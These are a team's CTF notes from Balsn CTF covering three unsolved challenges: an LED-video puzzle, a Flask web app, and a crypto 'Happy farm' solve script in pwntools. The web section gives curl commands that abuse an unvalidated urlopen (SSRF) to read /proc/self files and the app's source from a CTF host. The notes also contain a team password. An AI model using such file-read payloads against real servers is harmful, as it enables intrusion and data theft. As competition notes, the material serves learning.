---
# System prepended metadata

title: Balsn CTF

---

# Balsn CTF

```
team: KKMW
password: LJSWoodMortalKuang
```

## MISC - Show your Patience and Intelligence I <font color=red>(Unsolve)</font>
Hint:
1. 可以解出`BALSN{_q!fitlboEc}`，但是不對。
2. Long exposure photography，但我覺得跟hint1很像 
3. 他說閃爍的頻率不是固定的（不知道如何下手）

其他：
1. 用一個frame一個frame下去看，會看到只出現一個frame的紅點，而且跟前後的frame都不一樣，我是用**Elmedia player**去看的。
2. 同1，但是有些地方LED啟動或是消失的那一個frame也會是有點紅紅的，不太確定。


## Web - tpc <font color=red>(Unsolve)</font>

```
curl http://35.194.175.80:8000/query?site=file:///proc/self/cmdline --output cmdline
```

```
curl http://35.194.175.80:8000/query?site=file:///proc/self/cwd/main-dc1e2f5f7a4f359bb5ce1317a.py
```

source code:

```python=
import urllib.request

from flask import Flask, request

app = Flask(__name__)


@app.route("/query")
def query():
    site = request.args.get('site')
    text = urllib.request.urlopen(site).read()
    return text


@app.route("/")
def hello_world():
    return "/query?site=[your website]"


if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=8000)
```

## Crypto - Happy farm <font color=red>(Unsolve)</font>

`solve.sage`

```python=
#!/usr/bin/env python3.8
from pwn import *

# ========================================

# r = remote("happy-farm.balsnctf.com", 4001)
# r = process("./chal.py")
r = remote("127.0.0.1", 20000)

# ========================================
# level 1

TARGET_LAYER = 9000

r.recvuntil("My seed:")
x = r.recvuntil("My start date: ", drop=True)
my_seed = bytes.fromhex(x.replace(b" ", b"").replace(b"\n", b"").decode())
my_start_date = bytes.fromhex(r.recvline().strip().decode())
assert len(my_seed) == 256
assert len(my_start_date) == 16

seed = bytes([my_seed[0] ^^ 1]) + my_seed[1:]
start_date = bytes([my_start_date[0] ^^ 1]) + my_start_date[1:]
assert len(seed) == 256
assert len(start_date) == 16

r.sendlineafter("start date: ", start_date.hex())
r.sendlineafter("seed: ", seed.hex())
r.sendlineafter("layer: ", "1")
r.recvuntil("Your onion")
x = r.recvuntil("start date: ", drop=True)
onion = bytes.fromhex(x.replace(b" ", b"").replace(b"\n", b"").replace(b"x", b"").decode())
assert len(onion) == 256

r.sendline(onion[-16:].hex())
r.sendlineafter("seed: ", onion.hex())
r.sendlineafter("layer: ", "8999")
r.recvuntil("Your onion")
x = r.recvuntil("How would my onion looks like? ", drop=True)
onion = bytes.fromhex(x.replace(b" ", b"").replace(b"\n", b"").replace(b"x", b"").decode())
assert len(onion) == 256

r.sendline(onion.hex())
res = r.recvline()
assert res == b"What a prophet!\n"

# ========================================
# level 2

r.recvuntil("My seed is")
x = r.recvuntil("You should use my seed first!", drop=True)
my_seed = bytes.fromhex(x.replace(b" ", b"").replace(b"\n", b"").decode())
assert len(my_seed) == 128

r.sendlineafter("layer: ", "8999")
r.recvuntil("your onion")
x = r.recvuntil("You can now use your seed", drop=True)
onion1 = bytes.fromhex(x.replace(b" ", b"").replace(b"\n", b"").replace(b"x", b"").decode())
assert len(onion1) == 128

r.sendlineafter("seed: ", my_seed.hex())
r.sendlineafter("layer: ", "8999")
r.recvuntil("Here you go")
x = r.recvuntil("How would my onion looks like? ", drop=True).replace(b" ", b"").replace(b"\n", b"")
onion2 = bytes.fromhex(x[:172].decode())
assert len(onion2) == 86
onion2 += bytes(128 - 86)

r.sendline(onion2.hex())
res = r.recvline()
print(res)

# ========================================
# level 3

# ========================================

r.close()

```
